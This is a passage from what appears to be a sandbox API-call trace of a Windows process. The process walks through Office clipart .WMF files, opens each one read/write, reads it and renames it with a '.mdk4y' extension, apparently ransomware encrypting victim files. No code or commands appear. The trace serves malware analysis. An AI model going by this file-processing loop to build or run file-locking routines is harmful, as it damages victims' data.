office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.mdk4y")) returned 1 [0130.735] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.735] AreFileApisANSI () returned 1 [0130.735] GetACP () returned 0x4e4 [0130.735] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00045_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00045_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.735] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820596500000) returned 1 [0130.736] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1eb6, lpOverlapped=0x0) returned 1 [0130.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597200000) returned 1 [0130.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597200000) returned 1 [0130.743] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.mdk4y")) returned 1 [0130.743] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.743] AreFileApisANSI () returned 1 [0130.743] GetACP () returned 0x4e4 [0130.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00098_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00098_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.743] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597400000) returned 1 [0130.744] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3f4, lpOverlapped=0x0) returned 1 [0130.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597500000) returned 1 [0130.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597500000) returned 1 [0130.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.mdk4y")) returned 1 [0130.746] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.746] AreFileApisANSI () returned 1 [0130.746] GetACP () returned 0x4e4 [0130.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00105_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00105_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.746] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597600000) returned 1 [0130.746] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x370, lpOverlapped=0x0) returned 1 [0130.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597700000) returned 1 [0130.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597700000) returned 1 [0130.748] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.mdk4y")) returned 1 [0130.748] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.748] AreFileApisANSI () returned 1 [0130.748] GetACP () returned 0x4e4 [0130.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00122_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00122_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.748] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820597800000) returned 1 [0130.748] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27a2, lpOverlapped=0x0) returned 1 [0130.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820598000000) returned 1 [0130.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820598000000) returned 1 [0130.750] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.mdk4y")) returned 1 [0130.751] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.751] AreFileApisANSI () returned 1 [0130.751] GetACP () returned 0x4e4 [0130.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00130_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00130_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.751] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820598100000) returned 1 [0130.751] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b8, lpOverlapped=0x0) returned 1 [0130.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820601900000) returned 1 [0130.789] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820601900000) returned 1 [0130.789] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.mdk4y")) returned 1 [0130.790] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.790] AreFileApisANSI () returned 1 [0130.790] GetACP () returned 0x4e4 [0130.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00148_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00148_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.790] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820602000000) returned 1 [0130.790] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6a0, lpOverlapped=0x0) returned 1 [0130.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820602200000) returned 1 [0130.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820602200000) returned 1 [0130.792] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.mdk4y")) returned 1 [0130.792] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.792] AreFileApisANSI () returned 1 [0130.792] GetACP () returned 0x4e4 [0130.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00152_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00152_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.792] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820602300000) returned 1 [0130.793] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5ec, lpOverlapped=0x0) returned 1 [0130.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820603500000) returned 1 [0130.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820603500000) returned 1 [0130.805] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.mdk4y")) returned 1 [0130.805] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.805] AreFileApisANSI () returned 1 [0130.805] GetACP () returned 0x4e4 [0130.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00194_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00194_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.806] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820603600000) returned 1 [0130.806] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf92, lpOverlapped=0x0) returned 1 [0130.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606200000) returned 1 [0130.832] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606200000) returned 1 [0130.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.mdk4y")) returned 1 [0130.833] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.833] AreFileApisANSI () returned 1 [0130.833] GetACP () returned 0x4e4 [0130.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00195_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00195_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.833] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606400000) returned 1 [0130.834] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f86, lpOverlapped=0x0) returned 1 [0130.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606500000) returned 1 [0130.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606500000) returned 1 [0130.836] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.mdk4y")) returned 1 [0130.836] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.836] AreFileApisANSI () returned 1 [0130.836] GetACP () returned 0x4e4 [0130.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00234_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00234_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.836] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606600000) returned 1 [0130.837] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2458, lpOverlapped=0x0) returned 1 [0130.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606800000) returned 1 [0130.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820606800000) returned 1 [0130.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.mdk4y")) returned 1 [0130.838] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.839] AreFileApisANSI () returned 1 [0130.839] GetACP () returned 0x4e4 [0130.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00242_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00242_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820607100000) returned 1 [0130.841] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfb8, lpOverlapped=0x0) returned 1 [0130.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820608700000) returned 1 [0130.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820608700000) returned 1 [0130.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.mdk4y")) returned 1 [0130.858] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.858] AreFileApisANSI () returned 1 [0130.858] GetACP () returned 0x4e4 [0130.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00247_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00247_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.858] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.859] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820608900000) returned 1 [0130.859] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x386c, lpOverlapped=0x0) returned 1 [0130.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609000000) returned 1 [0130.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609000000) returned 1 [0130.860] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.mdk4y")) returned 1 [0130.861] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.861] AreFileApisANSI () returned 1 [0130.861] GetACP () returned 0x4e4 [0130.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00248_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00248_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.861] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609300000) returned 1 [0130.863] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x600, lpOverlapped=0x0) returned 1 [0130.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609400000) returned 1 [0130.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609400000) returned 1 [0130.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.mdk4y")) returned 1 [0130.865] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0130.865] AreFileApisANSI () returned 1 [0130.865] GetACP () returned 0x4e4 [0130.865] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BL00252_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BL00252_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0130.865] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0130.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609500000) returned 1 [0130.865] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1264, lpOverlapped=0x0) returned 1 [0130.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609700000) returned 1 [0130.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820609700000) returned 1 [0130.867] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.mdk4y")) returned 1 [0130.867] FindNextFileW (in: hFindFile=0x6ab310, 